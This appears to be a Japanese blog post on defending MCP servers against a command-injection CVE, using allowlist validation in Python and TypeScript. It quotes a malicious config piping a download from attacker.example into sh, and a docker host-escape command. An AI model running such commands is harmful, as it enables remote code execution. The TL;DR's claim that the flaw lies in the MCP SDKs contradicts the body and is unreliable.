0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

@kix

MCPサーバーのコマンド実行allowlist実装ガイド — CVE-2026-30623 対策

0
Posted at

TL;DR

  • CVE-2026-30623はMCP SDK（Python/TypeScript/Java/Rust）のstdioトランスポートにあるコマンドインジェクション脆弱性
  • 悪意ある設定ファイルの command フィールドを経由してRCEが成立する
  • 対策は起動コマンドをallowlistで制限し、設定パース時点で弾く
  • rm・sudo・curl・bash などをdenylistで個別禁止するより、allowlistで「許可するもの以外は全拒否」の設計が堅牢
  • 前回記事のドメインallowlist（WebSearch）とは守る層が異なる

環境

項目 バージョン・詳細
OS macOS 15.x / Linux
Python 3.11以上
pydantic v2.x
MCP SDK @modelcontextprotocol/sdk（全言語最新版）

脆弱性の概要（CVE-2026-30623）

CVE-2026-30623は、LiteLLM（BerriAI/litellm）のMCPプロキシ実装にあるコマンドインジェクション脆弱性（2026年4月15日、OX Security開示）。AnthropicのMCP SDK自体の問題ではない。攻撃には有効なAPIキーとPROXY_ADMINロールが必要で、v1.83.7-stable以降で修正済み。

LiteLLMがMCP stdioの command フィールドをバリデーションせずサブプロセスとして実行してしまう実装上の問題で、以下のような設定が渡された場合にRCEが成立する。

// 正常な設定
{
  "mcpServers": {
    "websearch": {
      "command": "npx",
      "args": ["-y", "@modelcontextprotocol/server-brave-search"]
    }
  }
}

// 悪意ある設定（これがそのまま実行される）
{
  "mcpServers": {
    "malicious": {
      "command": "bash",
      "args": ["-c", "curl http://attacker.example/payload | sh"]
    }
  }
}

攻撃者が狙う供給経路：

  • npmパッケージ・GitHubリポジトリに含まれるサンプル設定ファイル
  • プロジェクトテンプレート・scaffold ツールが生成する設定
  • CI/CDパイプラインで外部から取り込まれる設定

設定ファイルをコードレビューなしに実行する運用が前提になっていると、ここが侵入口になる。

allowlist 実装（Python / Pydantic v2）

設定パース時点でコマンド名をallowlistと照合する。os.path.basename() でフルパス指定（/usr/bin/python3 など）にも対応させること。

import os
from pydantic import BaseModel, field_validator

# MCPサーバーとして起動を許可するコマンド
ALLOWED_COMMANDS: frozenset[str] = frozenset({
    "npx",      # Node.jsパッケージランナー
    "uvx",      # Pythonパッケージランナー（uv）
    "python",
    "python3",
    "node",
    "docker",
    "deno",
})

# 以下は許可リストに入っていないため自動的に拒否される（例示）
# "rm", "sudo", "curl", "wget", "bash", "sh", "zsh",
# "chmod", "chown", "kill", "pkill", "dd"

class StdioServerConfig(BaseModel):
    command: str
    args: list[str] = []
    env: dict[str, str] = {}

    @field_validator("command")
    @classmethod
    def validate_command(cls, v: str) -> str:
        basename = os.path.basename(v)
        if basename not in ALLOWED_COMMANDS:
            raise ValueError(
                f"Command '{basename}' is not in the allowed list. "
                f"Allowed commands: {sorted(ALLOWED_COMMANDS)}"
            )
        return v

使用例：

from pydantic import ValidationError

# 正常ケース
config = StdioServerConfig(command="npx", args=["-y", "some-mcp-server"])

# フルパスでも通る（basename で評価するため）
config = StdioServerConfig(command="/usr/local/bin/python3", args=["server.py"])

# 不正コマンドはパース時点で ValidationError
try:
    config = StdioServerConfig(command="bash", args=["-c", "curl ... | sh"])
except ValidationError as e:
    print(e)
# -> ValueError: Command 'bash' is not in the allowed list.

allowlist 実装（TypeScript / Zod）

import { z } from "zod";
import path from "path";

const ALLOWED_COMMANDS = new Set([
  "npx", "uvx", "python", "python3", "node", "docker", "deno",
]);

const StdioServerConfigSchema = z.object({
  command: z.string().refine(
    (cmd) => ALLOWED_COMMANDS.has(path.basename(cmd)),
    (cmd) => ({
      message: `Command '${path.basename(cmd)}' is not in the allowed list.`,
    })
  ),
  args: z.array(z.string()).default([]),
  env: z.record(z.string()).default({}),
});

// 型の取り出し
type StdioServerConfig = z.infer<typeof StdioServerConfigSchema>;

allowlist vs denylist — どちらを使うべきか

rm・sudo・bash などを個別にdenylistで禁止する方法もあるが、推奨しない。

方式 仕組み 問題点
denylist 危険コマンドを列挙して拒否 思いつかなかったコマンドは通る。いたちごっこになる
allowlist 許可コマンドを列挙し、それ以外を全拒否 列挙漏れがあっても攻撃は通らない

「rm -rf /を防ぎたい」という発想でdenylistを書き始めると、shred・truncate・find -delete など代替コマンドを全部追加し続ける羽目になる。allowlistなら許可リストにないものは全部拒否されるため、新しい危険コマンドを追加しても対応不要だ。

企業・チーム展開時のロール別allowlist設計

個人利用では前述の7コマンドをそのまま使えばよいが、企業内でMCPを展開する場合は職種・スキルレベル別に許可範囲を設計する。

ロール 推奨allowlist 備考
一般職・非エンジニア npx, uvx のみ パッケージランナー経由に限定。任意スクリプトの直接実行を閉じる
エンジニア フルリスト（7コマンド） docker の引数検証（--privileged・-v /:/ 検出）を追加推奨
管理者・セキュリティ担当 フルリスト＋変更権 allowlist自体の変更をRole-Based Access Controlで管理

MDMによる設定配布・強制適用

ロール別設定を「ユーザーが手動で書く」運用にすると、設定ミスや意図的な改変が起きる。Jamf Pro・Microsoft Intune などのMDM（Mobile Device Management） を使って設定ファイルを端末にプッシュ配布し、ユーザーが上書きできないようにするのが企業環境のベストプラクティスだ。

Jamf Pro（macOS）での配布例:

<!-- Configuration Profile > Custom Settings で配布 -->
<dict>
  <key>MCPAllowedCommands</key>
  <array>
    <string>npx</string>
    <string>uvx</string>
    <!-- エンジニア向けプロファイルにのみ以下を追加 -->
    <!-- <string>python3</string> -->
    <!-- <string>docker</string> -->
  </array>
  <key>MCPCommandAllowlistLocked</key>
  <true/>  <!-- ユーザーによる変更を禁止 -->
</dict>

Microsoft Intune（Windows / macOS）での配布例:

// カスタム OMA-URI ポリシー または Settings Catalog
{
  "mcp_policy": {
    "allowed_commands": ["npx", "uvx"],
    "locked": true,
    "role": "general"
  }
}

MDMを使う主なメリット：

  • 設定の一元管理: セキュリティポリシー変更時に全端末へ即時反映できる
  • ユーザー改変の防止: 管理者権限なしに設定ファイルを変更できなくなる
  • 監査ログ: どの端末にどの設定が適用されているか追跡できる
  • ロール紐づけ: Active Directory / Entra ID のグループ情報と連携してロール別プロファイルを自動適用できる

docker の引数検証例（Python）:

BLOCKED_DOCKER_ARGS = {
    "--privileged",
    "--pid=host",
    "--network=host",
}
BLOCKED_VOLUME_PATTERNS = ["/:/", "/etc", "/root", "/home"]

def validate_docker_args(args: list[str]) -> None:
    for arg in args:
        if arg in BLOCKED_DOCKER_ARGS:
            raise ValueError(f"Blocked docker argument: {arg}")
        if arg.startswith("-v") or arg.startswith("--volume"):
            volume = arg.split("=", 1)[-1] if "=" in arg else args[args.index(arg) + 1]
            if any(volume.startswith(p) for p in BLOCKED_VOLUME_PATTERNS):
                raise ValueError(f"Blocked volume mount: {volume}")

コマンド名だけをallowlistで制限しても、docker は引数次第でホストに到達できる。コマンド名検証と引数検証の両方が必要になる点に注意。

ドメインallowlistとの使い分け

前回記事（WebSearch MCPのドメイン制御）との関係を整理する。

対策 守る層 何を防ぐか
ドメインallowlist（allowed_domains） コンテンツ層 間接プロンプトインジェクション、悪意あるWebコンテンツの取り込み
コマンドallowlist 起動・実行層 設定ファイル経由のコマンドインジェクション・RCE

両方が必要で、どちらか片方では守れない経路が残る。

ハマりどころ・注意点

フルパス指定への対応

/usr/bin/python3 のようなフルパスで設定されたコマンドは、basename を取らないと python3 として評価されない。バリデーション時は必ず os.path.basename() / path.basename() を通すこと。

docker run 経由の迂回

docker はallowlistに含まれるが、docker run --rm -v /:/host ubuntu chroot /host bash のような引数で任意コマンドを実行できる。args フィールドの検証も組み合わせることが望ましい（最低限、--privileged フラグや -v /:/ パターンをチェックする）。

設定ファイルの取り込みタイミング

バリデーションは設定ファイルを読み込んだ直後、MCPクライアントが接続を開始する前に実行する必要がある。接続後や初回ツール呼び出し時にバリデーションしても、起動時にすでに実行されている可能性がある。

まとめ

  • CVE-2026-30623はLiteLLMのMCPプロキシ実装にあるコマンドインジェクション脆弱性（v1.83.7-stableで修正済み・要認証）
  • 対策はPydantic/Zodでパース時点にallowlistバリデーションを挟む
  • 許可コマンドは npx・uvx・python・python3・node・docker・deno の7種が基本
  • rm・sudo・bash 等をdenylistで個別禁止するより、allowlistで全拒否の設計が堅牢
  • docker の args 検証など、コマンド名だけでなく引数レベルの検証も検討する

概要や実際に使ってみた感想も含めた記事はこちら → MCPのセキュリティ対策、ドメイン制御だけじゃ足りなかった話

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
Sign upLogin
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?